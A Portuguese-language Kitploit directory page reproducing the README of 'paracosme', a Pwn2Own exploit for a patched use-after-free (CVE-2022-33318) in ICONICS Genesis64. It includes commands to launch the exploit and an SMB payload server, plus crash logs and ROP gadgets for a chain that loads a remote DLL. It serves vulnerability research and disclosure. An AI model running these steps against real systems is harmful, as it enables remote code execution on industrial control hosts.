Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
paracosme — Paracosme is a zero-click remote memory corruption exploit that compromises ICONICS Genesis64 which was demonstrated successfully on stage during the Pwn2Own Miami 2022 competition. | Kitploit
Ferramentas/GitHubGitHub/0vercl0k/paracosme
Vulnerability AnalysisExploitationSCADA/ICS SecurityPenetration TestingPayload DevelopmentBinary ExploitationArchived
GitHub0vercl0k/paracosme

paracosme

Paracosme is a zero-click remote memory corruption exploit that compromises ICONICS Genesis64 which was demonstrated successfully on stage during the Pwn2Own Miami 2022 competition.

Ver Repositório
9022há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Paracosme - CVE-2022-33318 - Execução Remota de Código no ICONICS Genesis64

Paracosme é um exploit de corrupção de memória que escrevi para atingir o pacote Genesis64 v10.97.1 feito pela ICONICS para alcançar execução remota de código.

O exploit foi demonstrado durante o concurso Pwn2Own 2022 Miami que ocorreu na Conferência S4x22. Você pode ler sobre isso em Competindo no Pwn2Own ICS 2022 Miami: Explorando uma corrupção de memória remota zero click no ICONICS Genesis64.

O problema obteve 9.8 no CVSS e foi atribuído a CVE-2022-33318 / ZDI-22-1041. Foi corrigido e foi corrigido no Genesis64 10.97.2. Você também pode ler o aviso ICSA-22-202-04, bem como o whitepaper da ICONICS sobre Vulnerabilidades de Segurança do ICONICS Suite.

Você pode encontrar o código do exploit em src/paracosme.py, um PoC para acionar o crash / verificar se você está afetado em src/paracosme-poc.py, e o payload executado na máquina em src/payload.

Fui afetado?

A melhor maneira de saber se você foi afetado é ativar o Page Heap para GenBroker64.exe, reiniciar o serviço, anexar um depurador ao GenBroker64.exe, executar paracosme-poc.py contra o seu servidor e você deve ver crashes como os abaixo:

Você precisa anexar um depurador ao processo de destino para observar o crash; caso contrário, o aplicativo o ignora.

Executando o exploit

O exploit foi testado apenas no Windows, mas também deve funcionar em plataformas Linux:

  1. Instale o impacket com: pip3 install impacket
  2. Desligue qualquer servidor SMB em execução na sua máquina com sc config lanmanserver start=disabled e reinicie
  3. Inicie um smbserver com smbserver.py (parte dos exemplos do impacket) com: python src\smbserver.py -smb2support x bin
  4. Inicie o exploit com python src\paracosme.py --target <ip>

O exploit

Para mais detalhes, consulte Competindo no Pwn2Own ICS 2022 Miami: Explorando uma corrupção de memória remota zero click no ICONICS Genesis64.

Visão geral da vulnerabilidade

O Paracosme explora um problema de use-after-free encontrado no processo GenBroker64 para alcançar execução remota de código em um sistema Windows 21H2 x64.

Em um nível alto, o processo GenBroker64 escuta na porta TCP 38080 e é capaz de desserializar vários pacotes depois que um handshake é feito com um cliente. O problema que encontrei está no código que lida com a leitura de um VARIANT do socket da rede. Basicamente, uma variant é um tipo e um valor. A função parece bem escrita à primeira vista e se esforça para descompactar apenas determinados tipos. É assim que ela se parece:

root@kitploit:~
bool CheckVariantType(VARTYPE VarType) {
  if((VarType & 0x2FFF) != VarType) {
    return false;
  }

  switch(VarType & 0xFFF) {
    case VT_EMPTY:
    case VT_NULL:
    case VT_I2:
    case VT_I4:
    case VT_R4:
    case VT_R8:
    case VT_CY:
    case VT_DATE:
    case VT_BSTR:
    case VT_ERROR:
    case VT_BOOL:
    case VT_VARIANT:
    case VT_I1:
    case VT_UI1:
    case VT_UI2:
    case VT_UI4:
    case VT_I8:
    case VT_UI8:
    case VT_INT:
    case VT_UINT:
    case VT_HRESULT:
    case VT_FILETIME:
      return true;
      break;
    default:
      return false;
  }
}

size_t VariantTypeToSize(VARTYPE VarType) {
  switch(VarType) {
    case VT_I1: return 1;
    case VT_UI2: return 2;
    case VT_UI4:
    case VT_INT:
    case VT_UINT:
    case VT_HRESULT:
      return 4;
    case VT_I8:
    case VT_UI8:
    case VT_FILETIME:
      return 8;
    default:
      return 0;
  }
}

void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
    TRY {
        return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
    } CATCH_ALL(e) {
        VariantClear(Variant);
    }
}

HRESULT Utils::ReadVariant_(tagVARIANT *Variant, Archive_t *Archive, int Level) {
  VARTYPE VarType = Archive.ReadUint16();
  if((VarType & VT_ARRAY) != 0) {
      // Special logic to unpack arrays..
      return ..;
  }

  Size = VariantTypeToSize(VarType);
  if (Size) {
      Variant->vt = VarType;
      return Archive.ReadInto(&Variant->decVal.8, Size);
  }

  if(!CheckVariantType(VarType)) {
      // ...
      throw Something();
  }

  return Archive >> Variant;
}

A função implementa ela mesma a descompactação de arrays, bem como a leitura de tipos variant simples, mas, se estiver recebendo algo que não é nenhum desses dois, ela recorre ao operator>> da instância do archive. Essa instância do archive é um objeto fornecido pelo framework Microsoft Foundation Class, que lida com a serialização e desserialização de vários objetos. Esse código é na verdade open-source e você pode encontrá-lo em C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.29.30133\atlmfc\src\mfc\olevar.cpp, mas aqui está ele:

root@kitploit:~
CArchive& AFXAPI operator>>(CArchive& ar, COleVariant& varSrc) {
  LPVARIANT pSrc = &varSrc;
// ...
  switch(pSrc->vt) {
// ...
    case VT_DISPATCH:
    case VT_UNKNOWN: {
      LPPERSISTSTREAM pPersistStream = NULL;
      CArchiveStream stm(&ar);
      CLSID clsid;
      ar >> clsid.Data1;
      ar >> clsid.Data2;
      ar >> clsid.Data3;
      ar.EnsureRead(&clsid.Data4[0], sizeof clsid.Data4);
      SCODE sc = CoCreateInstance(clsid, NULL,
        CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
        pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
        (void**)&pSrc->punkVal);
      if(sc == E_INVALIDARG) {
        sc = CoCreateInstance(clsid, NULL,
          CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
          pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
          (void**)&pSrc->punkVal);
      }
      AfxCheckError(sc);
      TRY {
        sc = pSrc->punkVal->QueryInterface(
          IID_IPersistStream, (void**)&pPersistStream);
        if(FAILED(sc)) {
          sc = pSrc->punkVal->QueryInterface(
            IID_IPersistStreamInit, (void**)&pPersistStream);
        }
        AfxCheckError(sc);
        AfxCheckError(pPersistStream->Load(&stm));
      } CATCH_ALL(e) {
        if(pPersistStream != NULL) {
          pPersistStream->Release();
        }
        pSrc->punkVal->Release();
        THROW_LAST();
      }
      END_CATCH_ALL
      pPersistStream->Release();
    }
    return ar;
  }
}

A função é em sua maior parte entediante, porque também tem lógica para descompactar tipos triviais, mas o que chamou minha atenção foi VT_DISPATCH / VT_UNKNOWN.

Que diabos? Você é capaz de enviar um ID de classe de objeto COM arbitrário que implemente IPersistStream ou IPersistStreamInit, e ele o carregará invocando IPersistream::Load para inicializar o objeto. Embora isso seja surpreendente e um recurso estranho, eu não achei isso realmente interessante do ponto de vista de segurança, porque precisaria encontrar outro bug em um objeto COM disponível no Windows 10 padrão.

Agora, vamos olhar mais de perto o código abaixo:

root@kitploit:~
SCODE sc = CoCreateInstance(clsid, NULL,
  CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
  pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
  (void**)&pSrc->punkVal); <-------------- [[0]]

if(sc == E_INVALIDARG) {
  sc = CoCreateInstance(clsid, NULL,
    CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
    pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
    (void**)&pSrc->punkVal);
}

AfxCheckError(sc);
TRY {
  sc = pSrc->punkVal->QueryInterface(
    IID_IPersistStream, (void**)&pPersistStream);
  if(FAILED(sc)) {
    sc = pSrc->punkVal->QueryInterface(
      IID_IPersistStreamInit, (void**)&pPersistStream);
  }
  AfxCheckError(sc);
  AfxCheckError(pPersistStream->Load(&stm));
} CATCH_ALL(e) {
  if(pPersistStream != NULL) {
    pPersistStream->Release();
  }
  pSrc->punkVal->Release();
  THROW_LAST();
}

A chamada CoCreateInstance escreve o ponteiro da instância COM diretamente em pSrc->punkVal, que é a variant resultante armazenada em um chamador vários frames adiante. Então, se IStreamPersist::Load disparar uma exceção, ela é capturada e IUnknown::Release é chamado tanto na interface IUnknown quanto na IPersistStream, o que libera o objeto COM, deixando o pSrc->punkVal pendente. O outro ponto interessante é que, depois de fazer isso, o bloco catch relança a exceção, que é capturada pelo código abaixo:

root@kitploit:~
void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
    TRY {
        return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
    } CATCH_ALL(e) {
        VariantClear(Variant);
    }
}

Neste estágio, a variant já foi liberada, mas seu tipo e valor não foram atualizados / alterados, então essa chamada a VariantClear dispara um segundo IUnknown::Release, que resulta no crash abaixo:

root@kitploit:~
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
OLEAUT32!VarWeekdayName+0x22468:
00007ffa`e620c7f8 488b01          mov     rax,qword ptr [rcx] ds:00000000`2e5a2fd0=????????????????

0:006> kp
 # Child-SP          RetAddr           Call Site
00 00000000`093bad20 00007ffa`e620cb31 OLEAUT32!VarWeekdayName+0x22468
01 00000000`093bad50 00000001`4000c20a OLEAUT32!VariantClear+0x21
02 00000000`093bad80 00007ffa`ccfa10ea GenBroker64+0xc20a
03 00000000`093badb0 00007ffa`ccfa2ca6 VCRUNTIME140_1+0x10ea
04 00000000`093bade0 00007ffa`ccfa3ae5 VCRUNTIME140_1!_NLG_Return2+0x1b56
05 00000000`093baf10 00007ffa`ccfa2258 VCRUNTIME140_1!_NLG_Return2+0x2995
06 00000000`093baf40 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x1108
07 00000000`093bafe0 00007ffa`e6ce121f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
08 00000000`093bb050 00007ffa`e6c5d9c2 ntdll!_chkstk+0x19f
09 00000000`093bb080 00007ffa`ccfa3d82 ntdll!RtlUnwindEx+0x522
0a 00000000`093bb790 00007ffa`ccfa1635 VCRUNTIME140_1!_NLG_Return2+0x2c32
0b 00000000`093bb880 00007ffa`ccfa19e6 VCRUNTIME140_1!_NLG_Return2+0x4e5
0c 00000000`093bb920 00007ffa`ccfa232b VCRUNTIME140_1!_NLG_Return2+0x896
0d 00000000`093bbaf0 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x11db
0e 00000000`093bbb90 00007ffa`e6ce119f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
0f 00000000`093bbc00 00007ffa`e6caa229 ntdll!_chkstk+0x11f
10 00000000`093bbc30 00007ffa`e6cdfe0e ntdll!RtlRaiseException+0x399
11 00000000`093bc340 00007ffa`e439a839 ntdll!KiUserExceptionDispatcher+0x2e
12 00000000`093bd080 00007ffa`ccfa2753 KERNELBASE!RaiseException+0x69
13 00000000`093bd160 00007ffa`e6ce05e6 VCRUNTIME140_1!_NLG_Return2+0x1603
14 00000000`093bd240 00007ffa`ccc1ab24 ntdll!RtlCaptureContext+0x566
15 00000000`093bf980 00000001`4001c574 mfc140u+0x27ab24
16 00000000`093bfa20 00000001`40023241 GenBroker64+0x1c574
17 00000000`093bfae0 00000001`40025fdc GenBroker64+0x23241
18 00000000`093bfb40 00000001`4008afee GenBroker64+0x25fdc
19 00000000`093bfb80 00000001`4008a499 GenBroker64+0x8afee
1a 00000000`093bfc80 00000001`400858bd GenBroker64+0x8a499
1b 00000000`093bfda0 00000001`400860a9 GenBroker64+0x858bd
1c 00000000`093bfe20 00007ffa`e5187bd4 GenBroker64+0x860a9
1d 00000000`093bff30 00007ffa`e6cace71 KERNEL32!BaseThreadInitThunk+0x14
1e 00000000`093bff60 00000000`00000000 ntdll!RtlUserThreadStart+0x21

Uau, muito legal. Podemos acionar o problema acima instanciando um objeto COM que implementa IPersistStream e fazendo com que ele dispare uma exceção quando Load for invocado. Você pode encontrar o código de gatilho em paracosme-poc.py, que deve causar um crash no processo GenBroker64.exe no alvo. Você também pode habilitar o page heap no GenBroker64.exe para obter um crash instantaneamente.

Obtendo o RIP

Quando VariantClear é chamado na variant, ela despacha uma chamada virtual para o método Release para liberá-la. Como é uma chamada virtual, a função lê uma vtable, pega um ponteiro de função em um deslocamento fixo e o invoca. Antes que isso aconteça, vencemos a corrida para recuperar a instância de ole32!CFileMoniker e substituí-la por dados controlados (veja RacerThread_t). Como resultado, controlamos o ponteiro da vtable e estamos a uma instrução de sequestrar o RIP. Abaixo está a instrução de assembly correspondente, onde @rcx aponta para o chunk sobre o qual temos controle total:

root@kitploit:~
0:011> u . l3
OLEAUT32!VariantClear+0x20b:
00007ffb`0df751cb  mov     rax,qword ptr [rcx]
00007ffb`0df751ce  mov     rax,qword ptr [rax+10h]
00007ffb`0df751d2  call    qword ptr [00007ffb`0df82660]

0:011> u poi(00007ffb`0df82660)
OLEAUT32!SetErrorInfo+0xec0:
00007ffb`0deffd40  jmp     rax

Como temos controle total sobre o chunk recuperado, controlamos @rax. Para sequestrar o fluxo de controle, precisamos definir @rax como um ponteiro para o valor com o qual queremos sequestrar @rip. O grande problema aqui é o ASLR e não temos uma divulgação de informações.

Felizmente para nós, o módulo GenBroker64.exe não tem uma base dinâmica, o que significa que podemos usá-lo para encontrar um local que aponte para um gadget interessante para iniciar nossa cadeia.

root@kitploit:~
0:012> !dh genbroker64

File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
    8664 machine (X64)
       7 number of sections
616D3B07 time date stamp Mon Oct 18 02:14:47 2021

       0 file pointer to symbol table
       0 number of symbols
      F0 size of optional header
      22 characteristics
            Executable
            App can handle >2gb addresses

OPTIONAL HEADER VALUES
            High entropy VA supported
            NX compatible
            Terminal server aware

ROP

O primeiro gadget usado é um gadget que nos permite controlar totalmente o @rip (sem nenhuma indireção):

root@kitploit:~
0:011> u poi(1400aed18)
00007ffb2137ffe0   sub     rsp,38h
00007ffb2137ffe4   test    rcx,rcx
00007ffb2137ffe7   je      00007ffb`21380015
00007ffb2137ffe9   cmp     qword ptr [rcx+10h],0
00007ffb2137ffee   jne     00007ffb`2137fff4
 ...
00007ffb2137fff4   and     qword ptr [rsp+40h],0
00007ffb2137fffa   mov     rax,qword ptr [rcx+10h]
00007ffb2137fffe   call    qword ptr [mfc140u!__guard_dispatch_icall_fptr (00007ffb`21415b60)]

Podemos colocar o endereço do próximo gadget no deslocamento +0x10 no chunk que recuperamos (apontado por @rcx), o que é ótimo.

O segundo gadget que usamos faz o pivot da pilha para o chunk de heap recuperado sobre o qual temos controle total:

root@kitploit:~
0:008> u 14005bd25
000000014005bd25   mov     esp,ecx
000000014005bd27   cmp     byte ptr [1400fe788],0
000000014005bd2e   je      000000014005bebc
...
000000014005bebc   lea     r11,[rsp+60h]
000000014005bec1   mov     rbx,qword ptr [r11+30h]
000000014005bec5   mov     rbp,qword ptr [r11+38h]
000000014005bec9   mov     rsi,qword ptr [r11+40h]
000000014005becd   mov     rsp,r11
000000014005bed0   pop     r15
000000014005bed2   pop     r14
000000014005bed4   pop     r13
000000014005bed6   pop     r12
000000014005bed8   pop     rdi
000000014005bed9   ret

O engraçado é que o endereço do nosso chunk de heap parece estar localizado (sempre?) em um local que cabe em um inteiro de 32 bits, e é por isso que mov esp, ecx funciona perfeitamente.

Neste ponto, temos ROP, mas não temos muito espaço, o que foi bem frustrante. Passei bastante tempo tentando alinhar as estrelas e, eventualmente, criei uma sequência de gadgets que invoca LoadLibraryW com um caminho SMB remoto apontando para um arquivo DLL que hospeda nosso payload. Se você estiver interessado nos detalhes da cadeia, confira paracosme.py@241.

Autores

  • Axel '0vercl0k' Souchet
Baixar ferramenta